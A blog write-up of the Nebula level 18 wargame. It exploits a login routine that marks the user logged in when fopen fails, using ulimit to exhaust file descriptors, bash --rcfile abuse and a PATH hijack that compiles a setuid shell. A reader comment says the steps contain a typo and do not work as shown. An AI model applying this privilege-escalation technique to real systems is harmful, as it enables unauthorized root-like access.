Wednesday, September 26, 2012

Exploit Exercise - Improper File Handling

I noticed this vulnerability in Nebula [18] during a debugging session when trying to solve this level using format string vulnerability.
        fp = fopen(PWFILE, "r");
 if(fp) {
  char file[64];

  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
                fclose(fp); //no call to fclose is made in the disassembly of login
  if(strcmp(pw, file) != 0) return;  
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

 globals.loggedin = 1; 
//disas login
   0x08048c7e <+46>: call   0x8048750 <fopen@plt>
   0x08048c83 <+51>: test   %eax,%eax
   0x08048c85 <+53>: mov    %eax,%ebx
   0x08048c87 <+55>: je     0x8048cb5 <login+101>
   0x08048c89 <+57>: lea    0x1c(%esp),%esi
   0x08048c8d <+61>: mov    %eax,0x8(%esp)
   0x08048c91 <+65>: movl   $0x3f,0x4(%esp)
   0x08048c99 <+73>: mov    %esi,(%esp)
   0x08048c9c <+76>: call   0x8048670 <fgets@plt>
   0x08048ca1 <+81>: test   %eax,%eax
   0x08048ca3 <+83>: je     0x8048d18 <login+200>
   0x08048ca5 <+85>: mov    %esi,0x4(%esp)
   0x08048ca9 <+89>: mov    %edi,(%esp)
   0x08048cac <+92>: call   0x8048640 <strcmp@plt>
   0x08048cb1 <+97>: test   %eax,%eax
   0x08048cb3 <+99>: jne    0x8048cf4 <login+164>
In the above code globals.loggedin can be set to 1 if fopen() function fails. During the debugging session it failed as flag18 drops privileges within the debugger and it doesn't have the permission to read the password file. After reading through the error cases for fopen, I found a couple of them interesting in the context of the challenge - EMFILE and EINTR. The login function simply returns without closing the file it opened. Lets see if we can take advantage of this
level18@nebula:/tmp$ ulimit -Sn
level18@nebula:/tmp$ ulimit -Hn
level18@nebula:/tmp$ ulimit -a | grep files
open files                      (-n) 1024
level18@nebula:/tmp$ ulimit -Sn 50
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: error while loading shared libraries: cannot open shared object file: Error 24
level18@nebula:/tmp$ cat test | tail
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [shell] as input
attempting to start shell
level18@nebula:/tmp$ cat /usr/include/asm-generic/errno-base.h | grep 24
#define EMFILE  24 /* Too many open files */
There is a per process limit for number of open file descriptors a process can have.ulimit can be used to change this number upto the hard limit. Here we reduce the number and force fopen to fail. Error 24 is nothing but "Too many open files". We need to close a few files inorder to lauch the shell. The application itself provides an option to close a file using "closelog" but I was not sure if this was enough. Lets try it out
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: -d: invalid option
We managed to launch the shell but the same arguments passed to flag18 binary is used for launching the shell too and bash complains about this, since its invalid options. After looking into the man page, we can find a few options to get things right.
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
test: line 1: Starting: command not found
test: line 2: got: command not found
As you can see, bash tries to execute commands from the 'test' file. So lets create a valid file and update the $PATH variable.
level18@nebula:/tmp$ cat Starting 
ulimit -Sn 1024
gcc -o shell shell.c
chmod 4770 shell
level18@nebula:/tmp$ cat shell.c 
int main(void)
 setresuid(geteuid(), geteuid(), geteuid());
 return 0;
level18@nebula:/tmp$ export PATH=/tmp:$PATH
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
level18@nebula:/tmp$ ./shell
sh-4.2$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)

1 comment :

  1. This doesn't work either. Sorry people...

    The last line has a typo, you should substitue "Starting" for "test"

    python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null

    Should be

    python -c 'print "login Starting\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null

    it compiles the "shell" program:

    -rwsrwx--- 1 flag18 level18 7.1K 2014-04-12 15:36 shell

    but when you execute it, there is not change of the effective uid:

    level18@nebula:/tmp$ python -c 'print "login Starting\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
    level18@nebula:/tmp$ ./shell
    sh-4.2$ id
    uid=1019(level18) gid=1019(level18) groups=1019(level18)